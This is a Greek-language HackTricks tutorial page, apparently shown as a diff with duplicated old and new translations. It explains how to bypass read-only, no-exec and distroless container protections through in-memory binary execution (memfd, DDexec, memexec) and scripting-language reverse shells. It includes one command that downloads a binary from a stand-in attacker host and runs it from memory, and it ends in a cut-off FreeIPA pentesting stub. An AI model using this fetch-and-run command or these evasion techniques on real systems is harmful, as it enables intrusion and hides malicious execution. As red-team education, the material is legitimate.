Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
**Εισαγωγή στο Hacking**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ.
**Ενημερώσεις για το Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο.
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ευκαιρίες ευρήματος ασφαλείας και τις κρίσιμες ενημερώσεις των πλατφορμών.
Μείνετε ενημερωμένοι για τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
**Συμμετάσχετε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετέχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) **και** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **αποθετήρια του github.**
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετάσχετε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Παράκαμψη προστασιών FS: μόνο για ανάγνωση / χωρίς εκτέλεση / Distroless
# Bypass FS protections: read-only / no-exec / Distroless
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αχάκαρτου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού_).
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το μη χακαρισμένο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).
{% embed url="https://www.stmcyber.com/careers" %}
## Βίντεο
## Videos
Στα παρακάτω βίντεο μπορείτε να βρείτε τις τεχνικές που αναφέρονται σε αυτήν τη σελίδα εξηγημένες πιο αναλυτικά:
Στα παρακάτω βίντεο μπορείτε να βρείτε τις τεχνικές που αναφέρονται σε αυτή τη σελίδα εξηγημένες πιο αναλυτικά:
* [**DEF CON 31 - Εξερευνώντας τη Μετασχηματισμό Μνήμης Linux για Κρυψώνεια και Αποφυγή**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Κρυφές εισβολές με το DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
* [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## Σενάριο μόνο για ανάγνωση / χωρίς εκτέλεση
## read-only / no-exec σενάριο
Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές Linux που έχουν τοποθετηθεί με προστασία **μόνο για ανάγνωση (ro) του συστήματος αρχείων**, ειδικά σε containers. Αυτό συμβαίνει επειδή η εκτέλεση ενός container με ro σύστημα αρχείων είναι τόσο εύκολη όσο η ρύθμιση **`readOnlyRootFilesystem: true`** στο `securitycontext`:
Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές linux που είναι τοποθετημένες με **προστασία συστήματος αρχείων μόνο για ανάγνωση (ro)**, ειδικά σε κοντέινερ. Αυτό συμβαίνει γιατί η εκτέλεση ενός κοντέινερ με σύστημα αρχείων ro είναι τόσο εύκολη όσο η ρύθμιση του **`readOnlyRootFilesystem: true`** στο `securitycontext`:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -44,83 +45,110 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Ωστόσο, ακόμη κι αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα παραμείνει εγγράψιμο, οπότε είναι ψεύτικο ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία χωρίς εκτέλεση**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**.
Ωστόσο, ακόμα και αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα είναι ακόμα εγγράψιμο, οπότε είναι ψευδές ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία no-exec**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**.
{% hint style="warning" %}
Από την οπτική γωνία μιας κόκκινης ομάδας, αυτό κάνει **πιο περίπλοκο το να κατεβάσετε και να εκτελέσετε** δυαδικά που δεν υπάρχουν ήδη στο σύστημα (όπως backdoors ή εργαλεία όπως το `kubectl`).
Από την προοπτική μιας κόκκινης ομάδας, αυτό καθιστά **πολύπλοκο το να κατεβάσετε και να εκτελέσετε** δυαδικά αρχεία που δεν είναι ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`).
{% endhint %}
## Ευκολότερη παράκαμψη: Σενάρια
Σημειώστε ότι ανέφερα δυαδικά, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** όσο το διερμηνέα είναι μέσα στη μηχανή, όπως ένα **σενάριο κελύφους** αν το `sh` είναι παρόν ή ένα **σενάριο Python** αν έχει εγκατασταθεί το `python`.
Σημειώστε ότι ανέφερα δυαδικά αρχεία, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** εφόσον ο διερμηνέας είναι μέσα στη μηχανή, όπως ένα **shell script** αν το `sh` είναι παρόν ή ένα **python** **script** αν το `python` είναι εγκατεστημένο.
Ωστόσο, αυτό δεν είναι αρκετό μόνο για να εκτελέσετε το δυαδικό backdoor σας ή άλλα δυαδικά εργαλεία που ίσως χρειαστεί να τρέξετε.
Ωστόσο, αυτό δεν είναι αρκετό για να εκτελέσετε το δυαδικό backdoor σας ή άλλα δυαδικά εργαλεία που μπορεί να χρειαστεί να εκτελέσετε.
## Παρακάμψεις Μνήμης
## Παράκαμψη μνήμης
Αν θέλετε να εκτελέσετε ένα δυαδικό αλλά το σύστημα αρχείων δεν το επιτρέπει, ο καλύτερος τρόπος να το κάνετε είναι με το **να το εκτελέσετε από τη μνήμη**, καθώς οι **προστασίες δεν ισχύουν εκεί**.
Αν θέλετε να εκτελέσετε ένα δυαδικό αρχείο αλλά το σύστημα αρχείων δεν το επιτρέπει, ο καλύτερος τρόπος να το κάνετε είναι να **το εκτελέσετε από τη μνήμη**, καθώς οι **προστασίες δεν ισχύουν εκεί**.
### Παράκαμψη FD + exec syscall
Αν έχετε ισχυρούς μηχανισμούς σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl** ή **Ruby**, μπορείτε να κατεβάσετε το δυαδικό για εκτέλεση από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες, και στη συνέχεια να καλέσετε ένα **`exec` syscall** δείχνοντας το **fd ως το αρχείο προς εκτέλεση**.
Αν έχετε μερικούς ισχυρούς κινητήρες σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl**, ή **Ruby**, μπορείτε να κατεβάσετε το δυαδικό αρχείο για να το εκτελέσετε από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες και στη συνέχεια να καλέσετε μια **`exec` syscall** υποδεικνύοντας τον **fd ως το αρχείο προς εκτέλεση**.
Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό και θα δημιουργήσει ένα σενάριο στη γλώσσα που υποδεικνύετε με το **δυαδικό συμπιεσμένο και κωδικοποιημένο σε b64** με τις οδηγίες για το **αποκωδικοποίηση και αποσυμπίεση** του σε ένα **fd** που δημιουργείται καλώντας το `create_memfd` syscall και μια κλήση στο **exec** syscall για να το εκτελέσει.
Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό αρχείο και θα δημιουργήσει ένα σενάριο στη δηλωμένη γλώσσα με το **δυαδικό αρχείο συμπιεσμένο και b64 κωδικοποιημένο** με τις οδηγίες για **αποκωδικοποίηση και αποσυμπίεση** σε έναν **fd** που δημιουργείται καλώντας την `create_memfd` syscall και μια κλήση στην **exec** syscall για να το εκτελέσετε.
{% hint style="warning" %}
Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως PHP ή Node επειδή δεν έχουν κανέναν **προεπιλεγμένο τρόπο να καλέσουν raw syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσουν το `create_memfd` για να δημιουργήσουν το **fd μνήμης** για να αποθηκεύσουν το δυαδικό.
Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως η PHP ή το Node γιατί δεν έχουν καμία **προεπιλεγμένη μέθοδο για να καλέσουν ωμές syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσετε την `create_memfd` για να δημιουργήσετε τον **περιγραφέα μνήμης** για να αποθηκεύσετε το δυαδικό αρχείο.
Επιπλέον, η δημιουργία ενός **κανονικού fd** με ένα αρχείο στο `/dev/shm` δεν θα λειτουργήσει, καθώς δεν θα σας επιτραπεί να το εκτελέσετε λόγω της **προστασίας χωρίς εκτέλεση** που θα εφαρμοστεί.
Επιπλέον, η δημιουργία ενός **κανονικού fd** με ένα αρχείο στο `/dev/shm` δεν θα λειτουργήσει, καθώς δεν θα επιτρέπεται να το εκτελέσετε λόγω της **προστασίας no-exec**.
{% endhint %}
### DDexec / EverythingExec
Το [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) είναι μια τεχνική που σάς επιτρέπει να **τροποποιήσετε τη μνήμη της δικής σας διεργασίας** με το να αντικαταστήσετε το **`/proc/self/mem`** της.
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) είναι μια τεχνική που σας επιτρέπει να **τροποποιήσετε τη μνήμη της δικής σας διαδικασίας** αντικαθιστώντας την **`/proc/self/mem`**.
Έτσι, **ελέγχοντας τον κώδικα συναρμολόγησης** που εκτελείται από τη διεργασία, μπορείτε να γράψετε ένα **shellcode** και "μεταλλάξετε" τη διεργασία για να **εκτελέσει οποιοδήποτε αυθαίρετο κώδικα**.
Επομένως, **ελέγχοντας τον κώδικα συναρμολόγησης** που εκτελείται από τη διαδικασία, μπορείτε να γράψετε ένα **shellcode** και να "μεταλλάξετε" τη διαδικασία για να **εκτελέσετε οποιονδήποτε αυθαίρετο κώδικα**.
{% hint style="success" %}
Το **DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και να **εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από τη **μνήμη**.
**DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και να **εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από **μνήμη**.
{% endhint %}
```bash
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
```
Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική, ελέγξτε το Github ή:
{% content-ref url="ddexec.md" %}
[ddexec.md](ddexec.md)
{% endcontent-ref %}
### MemExec
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **εκτελέσετε ένα διαφορετικό δυαδικό αρχείο** δεν χρειάζεται να ξαναξεκινήσετε το DDexec, μπορείτε απλά να εκτελέσετε το shellcode του memexec μέσω της τεχνικής DDexec και στη συνέχεια **να επικοινωνήσετε με αυτό το δαίμονα για να περάσετε νέα δυαδικά αρχεία για φόρτωση και εκτέλεση**.
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **τρέξετε ένα διαφορετικό δυαδικό αρχείο**, δεν χρειάζεται να επανεκκινήσετε το DDexec, μπορείτε απλά να τρέξετε το memexec shellcode μέσω της τεχνικής DDexec και στη συνέχεια να **επικοινωνήσετε με αυτόν τον δαίμονα για να περάσετε νέα δυαδικά αρχεία για φόρτωση και εκτέλεση**.
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά αρχεία από ένα αντίστροφο κέλυφος PHP** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά αρχεία από ένα PHP reverse shell** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών αρχείων** στη μνήμη για να τα εκτελέσετε αργότερα. Μπορεί ακόμη να επιτρέψει τη φόρτωση δυαδικών αρχείων με εξαρτήσεις.
Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών αρχείων** στη μνήμη για να τα εκτελέσετε αργότερα. Θα μπορούσε ακόμη και να επιτρέπει τη φόρτωση δυαδικών αρχείων με εξαρτήσεις.
## Διασπορά Bypass
## Distroless Bypass
### Τι είναι το distroless
Τα δοχεία distroless περιέχουν μόνο τα **απαραίτητα ελάχιστα στοιχεία που απαιτούνται για την εκτέλεση μιας συγκεκριμένης εφαρμογής ή υπηρεσίας**, όπως βιβλιοθήκες και εξαρτήσεις χρόνου εκτέλεσης, αλλά εξαιρούν μεγαλύτερα στοιχεία όπως έναν διαχειριστή πακέτων, κέλυφος ή διατηρητές συστήματος.
Τα distroless containers περιέχουν μόνο τα **απαραίτητα ελάχιστα στοιχεία για να τρέξει μια συγκεκριμένη εφαρμογή ή υπηρεσία**, όπως βιβλιοθήκες και εξαρτήσεις χρόνου εκτέλεσης, αλλά αποκλείουν μεγαλύτερα στοιχεία όπως διαχειριστές πακέτων, shell ή συστήματα βοηθητικών προγραμμάτων.
Ο στόχος των δοχείων distroless είναι να **μειώσουν την επιφάνεια επίθεσης των δοχείων εξαλείφοντας τα περιττά στοιχεία** και μειώνοντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν.
Ο στόχος των distroless containers είναι να **μειώσει την επιφάνεια επίθεσης των containers εξαλείφοντας περιττά στοιχεία** και ελαχιστοποιώντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν.
### Αντίστροφο Κέλυφος
### Reverse Shell
Σε ένα δοχείο distroless ενδέχεται να **μην βρείτε ούτε το `sh` ούτε το `bash`** για να λάβετε ένα κανονικό κέλυφος. Δεν θα βρείτε επίσης δυαδικά όπως το `ls`, `whoami`, `id`... όλα όσα συνήθως εκτελείτε σε ένα σύστημα.
Σε ένα distroless container μπορεί να **μην βρείτε καν `sh` ή `bash`** για να αποκτήσετε μια κανονική shell. Δεν θα βρείτε επίσης δυαδικά αρχεία όπως `ls`, `whoami`, `id`... όλα όσα συνήθως τρέχετε σε ένα σύστημα.
{% hint style="warning" %}
Συνεπώς, **δεν** θα μπορέσετε να λάβετε ένα **αντίστροφο κέλυφος** ή να **απαριθμήσετε** το σύστημα όπως συνήθως κάνετε.
Επομένως, **δεν θα** μπορείτε να αποκτήσετε μια **reverse shell** ή να **καταγράψετε** το σύστημα όπως συνήθως κάνετε.
{% endhint %}
Ωστόσο, αν το υποβαθμισμένο δοχείο εκτελεί, για παράδειγμα, έναν ιστό flask, τότε το python είναι εγκατεστημένο, και μπορείτε να αποκτήσετε ένα **αντίστροφο κέλυφος Python**. Αν εκτελείτε node, μπορείτε να αποκτήσετε ένα Node αντίστροφο κέλυφος, και το ίδιο με σχεδόν οποιαδήποτε **γλώσσα σεναρίωσης**.
Ωστόσο, αν το παραβιασμένο container τρέχει για παράδειγμα μια εφαρμογή flask, τότε το python είναι εγκατεστημένο, και επομένως μπορείτε να αποκτήσετε μια **Python reverse shell**. Αν τρέχει node, μπορείτε να αποκτήσετε μια Node rev shell, και το ίδιο με σχεδόν οποιαδήποτε **γλώσσα scripting**.
{% hint style="success" %}
Χρησιμοποιώντας τη γλώσσα σεναρίωσης μπορείτε να **απαριθμήσετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας.
Χρησιμοποιώντας τη γλώσσα scripting, μπορείτε να **καταγράψετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας.
{% endhint %}
Αν δεν υπάρχουν **προστασίες `μόνο για ανάγνωση/χωρίς εκτέλεση`** μπορείτε να καταχραστείτε το αντίστροφο κέλυφος σας για **εγγραφή στο σύστημα αρχείων των δυαδικών σας** και να τα **εκτελέσετε**.
Αν δεν υπάρχουν **προστασίες `read-only/no-exec`**, μπορείτε να εκμεταλλευτείτε τη reverse shell σας για να **γράψετε στο σύστημα αρχείων τα δυαδικά σας αρχεία** και να τα **εκτελέσετε**.
{% hint style="success" %}
Ωστόσο, σε αυτού του είδους τα δοχεία αυτές οι προστασίες συνήθως υπάρχουν, αλλά μπορείτε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**.
Ωστόσο, σε αυτού του είδους τα containers, αυτές οι προστασίες θα υπάρχουν συνήθως, αλλά μπορείτε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**.
{% endhint %}
Μπορείτε να βρείτε **παραδείγματα** για το **εκμετάλλευση ορισμένων ευπαθειών RCE** για να λάβετε **αντίστροφα κέλυφα γλωσσών σεναρίωσης** και να εκτελέσετε δυαδικά από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Μπορείτε να βρείτε **παραδείγματα** για το πώς να **εκμεταλλευτείτε κάποιες ευπάθειες RCE** για να αποκτήσετε reverse shells γλωσσών scripting και να εκτελέσετε δυαδικά αρχεία από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για μια **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική γνώση πολωνικών_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,55 +1,80 @@
# Ελεγκτική δοκιμή FreeIPA
# FreeIPA Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Το FreeIPA είναι μια ανοιχτού κώδικα **εναλλακτική λύση** για το Microsoft Windows **Active Directory**, κυρίως για περιβάλλοντα **Unix**. Συνδυάζει έναν πλήρη **κατάλογο LDAP** με ένα κέντρο διανομής κλειδιών MIT **Kerberos** για τη διαχείριση παρόμοια με το Active Directory. Χρησιμοποιώντας το Dogtag **Certificate System** για τη διαχείριση πιστοποιητικών CA & RA, υποστηρίζει την **πολυπαραγοντική** πιστοποίηση, συμπεριλαμβανομένων των έξυπνων καρτών. Το SSSD είναι ενσωματωμένο για τις διαδικασίες πιστοποίησης Unix.
Το FreeIPA είναι μια ανοιχτού κώδικα **εναλλακτική** λύση για το Microsoft Windows **Active Directory**, κυρίως για **Unix** περιβάλλοντα. Συνδυάζει έναν πλήρη **LDAP κατάλογο** με ένα MIT **Kerberos** Κέντρο Κατανομής Κλειδιών για διαχείριση παρόμοια με το Active Directory. Χρησιμοποιεί το σύστημα **Dogtag Certificate System** για τη διαχείριση πιστοποιητικών CA & RA, υποστηρίζει **πολλαπλούς παράγοντες** αυθεντικοποίησης, συμπεριλαμβανομένων των έξυπνων καρτών. Το SSSD είναι ενσωματωμένο για διαδικασίες αυθεντικοποίησης Unix.
## Δακτυλικά αποτυπώματα
## Fingerprints
### Αρχεία & Μεταβλητές Περιβάλλοντος
### Files & Environment Variables
